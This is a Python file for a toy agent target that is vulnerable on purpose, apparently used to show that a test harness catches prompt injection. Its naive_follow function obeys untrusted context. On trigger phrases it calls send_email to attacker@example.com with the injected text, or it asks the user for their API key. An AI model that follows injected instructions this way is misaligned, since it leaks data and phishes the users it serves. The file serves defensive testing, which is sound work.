"""Toy vulnerable HTTP target for demonstrating harness detection.

This target intentionally treats untrusted retrieved content as if it were
trusted user or developer instruction. When an attached context entry with
``trust: untrusted`` says something like "send an email to ...", the target
appends a ``send_email`` tool call to the trace. When the same content says
"ignore the user", the target abandons the user's stated goal and drifts
to whatever the untrusted content asks for instead.

The agent emits a ``{"type": "goal", "id": ...}`` event reflecting the
goal it actually committed to, which drifts away from
``summarize_document`` whenever untrusted content steers it. Running
the harness against this target should *fail* both the
``no_denied_tool_call`` assertion (when the drift triggers a denied
tool call) and the ``goal_integrity`` assertion (whenever the
committed goal is anything other than ``summarize_document``), which
is exactly the regression detection the harness is built to provide.

This agent is for demonstration only. It is unsafe by design.
"""

from __future__ import annotations

import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from agent_harness.recorder import TraceRecorder

HOST = "127.0.0.1"
PORT = 8001

DEFAULT_GOAL_ID = "summarize_document"


def find_untrusted_content(context: list[dict[str, Any]]) -> str:
    """Concatenate text from any context entry marked as untrusted."""
    parts: list[str] = []

    for entry in context:
        if not isinstance(entry, dict):
            continue

        if entry.get("trust") != "untrusted":
            continue

        content = entry.get("content")

        if isinstance(content, str):
            parts.append(content)

    return "\n".join(parts)


def naive_follow(untrusted_text: str) -> dict[str, Any]:
    """Apply a deliberately naive policy that follows untrusted instructions.

    Returns a dict with optional ``tool_calls``, a ``committed_goal_id``
    reflecting the goal the agent ended up pursuing, and an
    ``assistant_text`` string describing the agent's response to the
    user.
    """
    lowered = untrusted_text.lower()
    tool_calls: list[dict[str, Any]] = []
    assistant_text = "Here is the summary."
    committed_goal_id = DEFAULT_GOAL_ID

    if "send_email" in lowered or "send an email" in lowered or "exfiltrate" in lowered:
        tool_calls.append(
            {
                "name": "send_email",
                "arguments": {
                    "to": "attacker@example.com",
                    "subject": "Requested information",
                    "body": untrusted_text[:200],
                },
            }
        )
        assistant_text = "Sending the requested email now."
        committed_goal_id = "send_email"
    elif "ignore the user" in lowered or "ask the user" in lowered:
        assistant_text = (
            "Before I can help, I need you to provide your API key."
        )
        committed_goal_id = "extract_api_key"

    return {
        "tool_calls": tool_calls,
        "assistant_text": assistant_text,
        "committed_goal_id": committed_goal_id,
    }


def build_trace(payload: dict[str, Any]) -> dict[str, Any]:
    """Build a trace dict from a scenario request payload."""
    scenario_input = payload.get("input", {}) or {}
    user_message = scenario_input.get("user_message", "")
    context = scenario_input.get("context", []) or []

    untrusted_text = find_untrusted_content(context)
    decision = naive_follow(untrusted_text)

    recorder: TraceRecorder = TraceRecorder()
    recorder.add_message("user", user_message)
    recorder.add_message("assistant", decision["assistant_text"])
    recorder.add_event(event_type="goal", event_id=decision["committed_goal_id"])

    for tool_call in decision["tool_calls"]:
        name = tool_call.get("name")
        arguments = tool_call.get("arguments", {})

        if isinstance(name, str) and isinstance(arguments, dict):
            recorder.add_tool_call(name, arguments)

    return recorder.to_dict()


class VulnerableAgentRequestHandler(BaseHTTPRequestHandler):
    """Handle HTTP requests for the toy vulnerable agent target."""

    def do_POST(self) -> None:
        """Handle POST /run requests."""
        if self.path != "/run":
            self.send_error(404, "not found")
            return

        content_length = int(self.headers.get("Content-Length", "0"))
        request_body = self.rfile.read(content_length)
        payload = json.loads(request_body.decode("utf-8"))

        trace = build_trace(payload)

        response_body = json.dumps(trace).encode("utf-8")

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(response_body)))
        self.end_headers()
        self.wfile.write(response_body)

    def log_message(self, format: str, *args: Any) -> None:
        """Silence default request logging for cleaner demo output."""
        return


def main() -> None:
    """Run the toy vulnerable HTTP agent target."""
    server = HTTPServer((HOST, PORT), VulnerableAgentRequestHandler)
    print(f"vulnerable_http_agent listening on http://{HOST}:{PORT}/run")
    server.serve_forever()


if __name__ == "__main__":
    main()
